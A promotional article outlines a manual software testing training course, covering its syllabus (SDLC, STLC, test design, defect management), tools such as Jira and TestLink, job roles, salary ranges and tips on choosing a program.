What Will You Learn in a Manual Software Testing Training Course?

A comprehensive Manual Software Testing Training course covers both theoretical and practical aspects of software testing. Here's an overview of topics typically covered:

1. Introduction to Software Testing

What is Software Testing?

Importance of Testing in SDLC

Manual vs. Automation Testing

Testing Principles and Objectives

2. Software Development Life Cycle (SDLC)

SDLC Phases

Waterfall Model

Agile and Scrum Methodologies

Role of Testers in SDLC

3. Software Testing Life Cycle (STLC)

STLC Phases

Test Planning, Design, Execution

Defect Life Cycle

Entry and Exit Criteria

4. Types of Testing

Functional Testing

Non-functional Testing

Regression Testing

Smoke & Sanity Testing

Exploratory Testing

User Acceptance Testing (UAT)

5. Test Case Design Techniques

Writing Test Cases

Test Scenarios

Test Data Preparation

Boundary Value Analysis (BVA)

Equivalence Partitioning

6. Defect Management

Logging Bugs

Defect Reporting Lifecycle

Severity vs. Priority

Bug Tracking Tools (e.g., Jira, Bugzilla)

7. Real-Time Project Exposure

Practical project-based learning

Live scenarios and client requirements

End-to-end STLC implementation

Who Can Enroll in a Manual Software Testing Course?

A Manual Software Testing Training course is suitable for:

Fresh graduates (BCA, B.Tech, MCA, etc.)

Professionals from non-IT backgrounds

Career switchers looking for IT roles

Individuals interested in quality assurance roles

Testers looking to build a strong foundation before learning automation

No prior coding experience or technical background is required.

Tools You’ll Learn

While manual testing is not tool-based like automation, some essential tools and platforms are introduced in training:

Jira – Bug and issue tracking

TestLink – Test case management

Excel/Google Sheets – For test case writing and tracking

Confluence – Documentation and collaboration

Postman (Basics) – API testing (optional)

Job Roles After Completing the Manual Testing Course

After successfully completing a Manual Software Testing Training program, learners become eligible for various roles in the software QA domain, such as:

Manual Tester

Quality Analyst (QA)

Software Tester

QA Engineer

Test Coordinator

QA Manual Test Analyst

As you gain experience, you can specialize in niche areas or move toward automation, performance, or security testing.

Salary and Career Growth

Manual testers are in high demand across industries like IT services, banking, healthcare, telecom, e-commerce, and more. Here’s a brief look at the salary outlook:

Experience Level

Average Salary (India)

0–1 years

₹2.5 – ₹4.5 LPA

1–3 years

₹4.5 – ₹6.5 LPA

3–5 years

₹6.5 – ₹9 LPA

Internationally, manual testers can earn:

USA: $55,000 to $80,000 annually

UK: £30,000 to £45,000 annually

With added certifications and skills like Agile, Jira, and basic automation, career growth becomes faster and more stable.

Choosing the Right Manual Software Testing Training Program

When selecting a course, make sure it offers:

✅ Instructor-led training with industry experts ✅ Live projects and case studies ✅ Placement assistance and resume-building help ✅ Certification after course completion ✅ Doubt-solving sessions and community access

Some top platforms and institutes also offer internship opportunities or real-time assignments to make your portfolio job-ready.

Certification and Internship

Upon completion of a Manual Software Testing Training course, most institutes provide a recognized certificate, which adds value to your resume. Some programs also offer internship opportunities, allowing students to work on real-time client projects under supervision.

This experience helps:

Build confidence

Understand project lifecycle

Gain teamwork and communication skills

Boost employability

Final Thoughts

Whether you are new to IT or want to start your journey as a QA professional, a Manual Software Testing Training program is an excellent gateway. It’s beginner-friendly, affordable, and provides a solid foundation for your testing career.

As software companies continue to emphasize quality and performance, the demand for skilled manual testers remains strong. Invest in a quality Manual Software Testing Training course today and take your first step toward a rewarding and stable career in software testing.

Ready to Learn Manual Testing? Start your journey today with a structured training program that combines theory, tools, and real-world practice. With the right training, your testing career will be off to a strong and confident start.